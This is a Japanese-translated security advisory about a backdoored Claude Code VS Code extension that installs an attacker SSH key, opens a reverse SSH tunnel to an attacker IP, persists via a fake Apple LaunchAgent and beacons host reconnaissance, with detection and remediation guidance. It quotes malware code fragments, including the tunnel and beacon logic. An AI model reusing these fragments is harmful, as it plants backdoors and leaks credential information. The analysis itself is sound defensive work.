公式Claude Code拡張機能の侵害:セキュリティアドバイザリ
Official Claude Code extension compromise (phorion.io)
要約
VS Code用の公式Claude Code拡張機能に、macOS、Linux、Windows全体に永続的なSSHバックドアを仕掛けるバックドアが発見されました。このマルウェアは、SSHへのアクセスを試みますが、macOSでは権限不足による設定ミスで、SSHが有効になっていない場合に機能しない可能性があります。組織は、影響を受けた環境を直ちに確認し、インシデント対応を行う必要があります。
全文翻訳
公式Claude Code拡張機能の侵害:セキュリティアドバイザリ
TL;DR
Phorionは、Cursor Marketplace上の公式Claude Code for VS Code拡張機能バンドルにバックドアを検出しました。このバックドアは、macOS、Linux、Windows全体に永続的なSSHバックドアを仕掛けます。本稿では、主にmacOSに焦点を当て、拡張機能がSSHバックドアを設定し、永続化を確立しようとする様子を解説します。
組織は、Claude Code for VSCode 2.1.313の使用状況を直ちに確認し、拡張機能の使用が発見された場合はインシデント対応に従事してください。
Phorionは、Cursor Marketplace上の公式Claude Code for VS Code拡張機能の侵害を発見しました。このバックドア化された拡張機能バンドルには、永続的なSecure Shell(SSH)バックドアが含まれています。Cursorは、関連するリリースをマーケットプレイスから削除し、さらに2.1.313のNPMおよびVSCodeバージョンをそれぞれのレジストリからプルしました。
このインプラントには、macOS、Linux、Windows用のセットアップと永続化ロジックが含まれていますが、本投稿では主にmacOSに焦点を当て、他のプラットフォームでの主な違いやいくつかの実装上のバグにも触れていきます。
Cursor Marketplaceは、Cursorエディタ用の拡張機能を提供します。拡張機能はIDEと実行ユーザーの権限で実行されるため、バックドア化された拡張機能は、モジュールがロードされるとすぐにローカルファイル、ソースコード、開発者ツールに即座にアクセスできます。
注目すべきは、PhorionがマルウェアがSSHをオンにしようとする方法に、おそらく見落としを発見したことです。セットアップロジックは、ルート権限なしで現在のリモートログインの状態を確認できると想定しています。標準ユーザーとして実行された場合、systemsetup -getremoteloginは管理者アクセスエラーを出力し、Offを返す代わりにステータス0で終了します。スクリプトは、出力がOffと一致する場合にのみSSHを有効にしようとするため、有効化ステップは完全にスキップされます。すでにSSHが実行されていないMacでは、SSHキーと永続化がドロップされたとしても、この間違いによりインバウンドアクセスパスが破損します。
本稿では、バックドアがどのように機能するか、なぜmacOSのチェックが失敗するのか、そしてフリート全体で何を探すべきかを解説します。このペイロードの目標は長期的な対話型アクセスであり、SSHバックドアのバグはmacOSへの影響を最小限に抑えますが、マルウェアは依然として永続化をインストールし、ホスト偵察をオペレーターにビーコンする重大な脅威です。
感染チェーン
Cursor Marketplace拡張機能
侵害されたextension.jsファイルは、ミニファイされた拡張機能バンドルにプリペンドされた、即時実行関数式(IIFE)で始まります。バンドルの残りの部分は、Claude CodeとVS Codeの文字列、通常のactivateおよびdeactivateエクスポート、UIコードを備えた標準の拡張機能のように見えます。
注入されたプレフィックスは、標準のNode.jsモジュール(child_process、fs、os、path、http、crypto)をプルし、Nodeがファイルをロードするとすぐに、拡張機能の通常のactivateコールバックが実行される前に実行されます。ペイロードを発火させるために、ユーザーが拡張機能と対話する必要はありません。
ステージ1 - SSHアクセスの準備
まず、ペイロードは~/.sshが存在することを確認し、攻撃者が制御するEd25519公開鍵を~/.ssh/authorized_keysに追加し、ディレクトリのパーミッションを0700、ファイルのパーミッションを0600に設定します。
このキーはsvc-telemetryというコメントを使用します。追加する前に、スクリプトはキー自体をチェックするのではなく、svc-telemetryがすでにファイルに存在するかどうかをチェックします。このアクティビティを検索する際は、コメント文字列だけに依存するのではなく、公開鍵のフィンガープリントをチェックする価値があります。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
ここで、curはauthorized_keysの既存の内容を保持し、PUBは埋め込まれた攻撃者の公開鍵(ここでは省略)です。
キーが配置されると、SSHが実際に実行されていれば、対応する秘密鍵を持つ誰でもそのユーザーとして認証できます。スクリプトの次のステップは、ローカルSSHデーモンが有効になってリスニングしていることを確認しようとします。
- Linux:
systemctlを介してsshdまたはsshを有効にして開始しようとし、serviceおよび/etc/init.d/にフォールバックします。 - macOS: リモートログインをチェックし、
Offと報告された場合は、sudo -n systemsetup -setremotelogin onを介して有効にしようとします。 - Windows: PowerShellを使用してOpenSSH Serverをインストールして開始しようとします。
これらのステップのいずれにも、権限昇格エクスプロイトは含まれていません。非対話型sudo -nは、ユーザーがパスワードなしのsudoをキャッシュまたは設定していない限り失敗するため、システムサービスを開始しても標準ユーザーコンテキストから常に成功するとは限りません。
Windowsのコードパスにも独自のバグがあるようです。PowerShellサービスセットアップコマンドをヘルパー関数(det())に渡しますが、この関数は標準のWindowsインストールではあまり役に立たない/bin/shをハードコードしています。
macOSのSSHロジックのバグ?
macOSでは、セットアップがsudoコマンドに到達する前に問題が発生する可能性があります。スクリプトは、権限なしでsystemsetup -getremoteloginを実行し、その出力を/Off/iと比較します。出力にOffが含まれている場合にのみリモートログインを有効にしようとします。
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
2番目のコマンド(-setremotelogin on)はsudo -nを使用していますが、最初のコマンド(-getremotelogin)はそうではないことに注意してください。macOSで標準ユーザーとしてsystemsetup -getremoteloginを実行すると、次のようになります。
You need administrator access to run this tool... exiting!
systemsetupは管理者権限なしでは設定の読み取りを拒否し、エラーを標準出力に出力してステータス0で終了します。マルウェアのex()ヘルパーは標準出力を取得して返します。
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
出力は"You need administrator access to run this tool... exiting!"であるため、/Off/i.test(rl)はfalseと評価されます。
その結果、スクリプトはifブロックをスキップし、sudo -n systemsetup -setremotelogin onを実行しません。これは、「SSHがオフになっているか確認する権限がない」を「SSHはすでにオンになっている」と事実上解釈しており、拡張機能が通常のユーザーとして実行されたときにプロセステレメトリで有効化の試行が見られない理由も説明しています。
このバグは、アクセスチェーンの最終ステップを破損させる可能性があります。 リモートログインがMacでまだ有効になっていない場合、アウトバウンドトンネルは攻撃者のサーバーに接続できますが、トンネルを通して転送されたトラフィックは、ローカルホストのポート22にヒットします。
もちろん、防御としてこれに頼るべきではありません。ユーザーがすでにリモートログインを有効にしていた場合、または後で有効にした場合、バックドアは準備完了です。
ステージ2 - リバースSSHトンネルの確立
次に、スクリプトはtunnelユーザーとしてポート22で134.209.82[.]225へのアウトバウンドSSH接続を設定します。攻撃者のサーバーに認証するために、別の埋め込み秘密鍵をデコードします。これは、コメントsvc-telemetry-tunを持つ暗号化されていないOpenSSH Ed25519キーです。
調査中に2つのキーを区別しておく価値があります。
~/.ssh/authorized_keysに追加された公開鍵(svc-telemetry)は、攻撃者が被害者のマシンにログインできるようにします。- 埋め込まれた秘密鍵(
svc-telemetry-tun)は、被害者のマシンが攻撃者のトンネルサーバーに接続できるようにします。
スクリプトは、OSの一時ディレクトリにこのトンネルキーを、ホスト名とホームディレクトリパスのMD5ハッシュの最初の10文字で始まるファイル名(.stk_)で書き込みます。
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
トンネルはリモートポートフォワーディングのために-R *:0:localhost:22を使用します。0を渡すと、攻撃者のSSHサーバーは動的にリスニングポートを割り当て、それにヒットするトラフィックをトンネルを通して被害者のマシンのlocalhost:22に転送します。
影響を受けたホスト -- アウトバウンドSSHトンネル --> 外部SSHサーバー
オペレーター -- 別接続 --> サーバーの割り当てポート
|
既存のトンネルを介して
|
v
影響を受けたホストのSSH:22
|
設置されたキーを使用してログイン
トンネルは-Nで実行されるため、リモートサーバーでコマンドを実行するだけでポートフォワーディングを開いたままにします。オペレーターがマシンにアクセスしたい場合、サーバー上の割り当てポートを介して別のSSHセッションを開始し、ステージ1で設置されたキーを使用して被害者のローカルSSHデーモンに対して認証します。これにより、JavaScript自体にカスタムC2コマンド処理を必要とせずに、完全な対話型シェルとファイル転送機能が得られます。
SSHコマンドは、接続を静かで非対話的に保つためのフラグも渡します。ホストキーチェックは無効になり、known_hostsは無視され、BatchModeとIdentitiesOnlyが有効になり、キープアライブは30秒に設定され(ServerAliveCountMax=3)、ExitOnForwardFailureがオンになります。
autosshがインストールされている場合はそれを使用します。そうでない場合は標準のsshにフォールバックします。接続はデタッチされたリトライループでラップされ、試行間に60秒スリープし、Unixシステムではpgrepを使用して重複した初期トンネルの起動を防ぎます。ループはデタッチされているため、ユーザーがIDEを閉じてもトンネルはアップしたままです。
ステージ3 - アクセスの維持
再起動後もアクセスを維持するために、スクリプトは初期デタッチされたトンネルと並行してプラットフォーム固有の永続化を設定します。
| プラットフォーム | アーティファクト | 永続化メカニズム | 注記 |
|---|---|---|---|
| Linux | ~/.config/.smt、~/.config/.smtk | トンネルキーを再作成しSSH接続をループするシェルスクリプトを書き込み、その後ユーザーのcrontabに@rebootエントリを追加します。 | crontabチェックにバグがあり、繰り返し実行時に既存のユーザーcronジョブをワイプする可能性があります(下記参照)。 |
| macOS | ~/.config/.smt、~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist | RunAtLoadとKeepAliveをtrueに設定して/bin/sh ~/.config/.smtを実行するユーザーLaunchAgentを書き込み、その後launchctlでロードします。 | ルートLaunchDaemonではなく、ユーザーコンテキストで実行されます。 |
| Windows | ~/.config/smt.cmd、~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 起動時にSYSTEMとして実行されるSysMonという名前のスケジュールタスクを作成しようとします。失敗した場合は、ユーザーのスタートアップフォルダにsysmon.cmdをドロップします。 | SYSTEMタスクの作成には管理者権限が必要です。スタートアップフォルダへのフォールバックは、ログイン時にユーザーとして実行されます。 |
macOSとLinuxでは、~/.config/.smtスクリプトにトンネル秘密鍵が埋め込まれており、再接続ループを開始する前に~/.config/.smtkに書き出されます。
macOSでは、LaunchAgentは~/Library/LaunchAgents/内のcom.apple.sysmond.plistとして偽装されます。
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
ステージ4 - ホスト偵察
最後に、スクリプトは基本的なホスト偵察情報を収集し、攻撃者のサーバーに一度限りのビーコンを送信します。
- ホスト名、ユーザー名、OSプラットフォーム、アーキテクチャ
- ホームディレクトリ、現在の作業ディレクトリ、グローバルGitメール(
git config --global user.email) - 各セットアップステージからの公開IPアドレスとステータスフラグ(例:SSHキーが追加されたかどうか、どの永続化メソッドが実行されたか)
/KEY|TOKEN|SECRET|PASS|AWS|GCP/iに一致する最大40個の環境変数名(値ではない)
環境変数チェックはObject.keys(process.env)を使用します。
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
変数名のみを取得するため、ビーコンは秘密の値自体を外部に流出しません。代わりに、オペレーターにどのクラウド認証情報またはAPIトークンがマシンに存在するかを迅速に把握させ、どのホストを優先すべきかを知ることができます。
マシンの公開IPを取得するために、スクリプトはifconfig[.]meをクエリし、api[.]ipify[.]orgにフォールバックします。
その後、JSONレポートをプレーンテキストHTTP POSTリクエストとして/beaconに送信します。これは、134.209.82[.]225:8099と127.0.0.1:8099の両方に対して行われます。
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
なぜビーコンのコピーを127.0.0.1:8099にも送信するのかは、サンプルからは明らかではありません。スクリプト自体は、そのポートでローカルリスナーを設定しません。
ビーコンはsetTimeoutで一度スケジュールされ(初期セットアップ実行から1.5秒後)、res.resume()でHTTPレスポンスを破棄します。これは純粋にオペレーターにホストが準備完了であることを知らせるためのチェックインであり、SSHトンネルが実際のアクセスを処理します。
検出機会
検出の観点からは、このチェーンにはmacOSでEndpoint Security Framework(ESF)テレメトリを使用した際に際立ついくつかの動作があります。
SSHキーと設定の変更
マルウェアはNodeのfs.appendFileSyncを使用して~/.ssh/authorized_keysに直接追加するため、echoやteeのようなシェルコマンドがauthorized_keysに触れるのを監視するプロセスのみのルールでは検出できません。ここでファイル変更テレメトリが不可欠になります。IDEヘルパープロセス(Code Helper、Cursor Helperなど)が~/.ssh/authorized_keysを作成または書き込むのを監視します。
IDEバイナリ自体は正しく署名されていますが、その拡張機能ホストプロセスには、バックグラウンドでSSH認証ファイルを変更する理由がありません。
systemsetup -setremotelogin onの監視も行うべきですが、このキャンペーンのアラートの必須条件としてそれに依存しないでください。前述のように、macOSでの壊れた状態チェックにより、そのコマンドは実際には実行されないことがよくあります。
ユーザーLaunchAgentの永続化
macOSでの永続化設定は、いくつかの強力なシグナルを提供します。
com.apple.*ラベルを持つplistを(非Appleプロセスが)作成する(~/Library/LaunchAgents/com.apple.sysmond.plist)。- ユーザーのホームディレクトリにある隠しディレクトリ(
~/.config/.smt)からシェルスクリプトを実行するように設定されたLaunchAgent。
初期トンネルはデタッチされたプロセスとして起動され、その後launchdが.smtを直接管理するため、後続のsshプロセスはライブプロセスツリーでIDEを直接の親として持ちません。.smtとcom.apple.sysmond.plistのファイル作成をIDE拡張機能ホストに相関させることで、チェーンを組み立てるのがはるかに容易になります。
SSHトンネルとフォローオンアクセス
プロセスとネットワークの側面では、以下を探してください。
/tmp/.stk_*または~/.config/.smtkからプルされたIDファイルを使用して、リモートポートフォワーディング(-R *:0:localhost:22)で起動されたsshまたはautossh。- ポート22へのアウトバウンドSSH接続(
134.209.82[.]225)、および134.209.82[.]225:8099(および127.0.0.1:8099への接続試行)へのHTTP POSTリクエスト。
この拡張機能が実行されたホストを見つけた場合、トンネルが確立されただけなのか、それともオペレーターが実際にそれを通じてログインしたのかを確認することが重要です。インバウンドセッションはローカルポートフォワーディングを介して到着するため、SSHログでのログイン成功は、svc-telemetryキーを使用して認証するlocalhost(127.0.0.1または::1)から来たように見えます。
修正
影響を受けたマシンを特定した場合は、拡張機能をアンインストールするだけではバックドアは削除されません。対応がドロップされたすべてのステージをカバーしていることを確認してください。
- アクティブなトンネルプロセスを停止する:
/bin/shリトライループおよび134.209.82[.]225に接続しているすべてのsshまたはautosshプロセスを終了します。 - 永続化を削除する: macOSでは
~/Library/LaunchAgents/com.apple.sysmond.plistをアンロードして削除します(Linuxでは@rebootcronエントリ、WindowsではSysMonスケジュールタスクとスタートアップスクリプトをクリーンアップします)。その後、~/.config/.smtと~/.config/.smtkを削除します。 - SSHキーと状態をクリーンアップする:
~/.ssh/authorized_keysからsvc-telemetry公開鍵を削除し、/tmp/.stk_*を削除し、リモートログイン(SSH)が予期せず有効になっていないことを確認します。 - 認証情報をローテーションする: ホストでSSHが有効になっていた場合、またはインバウンドログインの証拠がある場合は、そのユーザーアカウントからアクセス可能だったすべての認証情報またはトークン(特に
KEY|TOKEN|SECRET|PASS|AWS|GCP環境変数フィルターに一致するもの)をローテーションします。
Phorionのアプローチ
Phorionの標準検出カバレッジは、この攻撃で使用されたmacOSの永続化を、非Appleプロセスがcom.apple.* LaunchAgentを作成するルールや、LaunchAgentが隠しディレクトリからシェルスクリプトを実行するルールなど、複数のルールでフラグ付けします。
永続化を超えて、Phorionのファイルアクセステレメトリは、IDE拡張機能ホストが~/.ssh/authorized_keysを直接変更する様子をキャプチャし、Phorion Protectionsを使用して、最初に承認されたプロセスのみがSSHキーと設定ファイルを読み書きできるように~/.ssh/をロックダウンできます。
PhorionがMacフリート全体でこのようなサプライチェーン脅威をどのように検出しブロックするかを確認するには、デモの手配についてお問い合わせください。
検出指標
サンプルと公開鍵フィンガープリント
| 指標 | 値 | 注記 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | バックドア化されたextension.jsバンドル |
| 被害者ログイン公開鍵フィンガープリント | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | ~/.ssh/authorized_keysに追加されたEd25519キー(コメントsvc-telemetry) |
| トンネル公開鍵フィンガープリント | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | トンネルサーバー認証に使用される埋め込みEd25519キー(コメントsvc-telemetry-tun) |
ネットワーク指標
| 指標 | タイプ | 注記 |
|---|---|---|
134.209.82[.]225 (TCP 22、ユーザーtunnel) | IP / SSH | アウトバウンドリバースSSHトンネルサーバー |
134.209.82[.]225:8099 (POST /beacon) | IP / HTTP | 外部ホストレポートビーコンエンドポイント |
127.0.0.1:8099 (POST /beacon) | ループバック / HTTP | ローカルビーコン宛先 |
ifconfig[.]me、api[.]ipify[.]org | ドメイン | 公開IP検出に使用される正規のサービス |
ホストアーティファクト
| アーティファクト | プラットフォーム | 注記 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS (Apple Silicon) | インストールされた拡張機能ディレクトリ(<ide>はエディタによって異なります) |
~/.ssh/authorized_keys(コメントsvc-telemetry) | 全て | 設置されたEd25519公開鍵 |
<TMP>/.stk_<10 hex chars>(macOSでは$TMPDIR/.stk_*) | 全て | OS一時ディレクトリ内の初期トンネル秘密鍵(サフィックスはMD5(hostname + HOME)の最初の10文字) |
~/.config/.smtおよび~/.config/.smtk | macOS、Linux | 永続化シェルスクリプトと再作成されたトンネル秘密鍵 |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | /bin/sh ~/.config/.smtを実行するユーザーLaunchAgent |
@reboot cronエントリ(~/.config/.smt用) | Linux | ユーザーcrontab永続化 |
~/.config/smt.cmdおよび~/.config/smtk | Windows | 永続化バッチスクリプトとトンネル秘密鍵 |
スケジュールタスクSysMon | Windows | 起動時スケジュールタスク(SYSTEMを要求) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | スタートアップフォルダフォールバックスクリプト |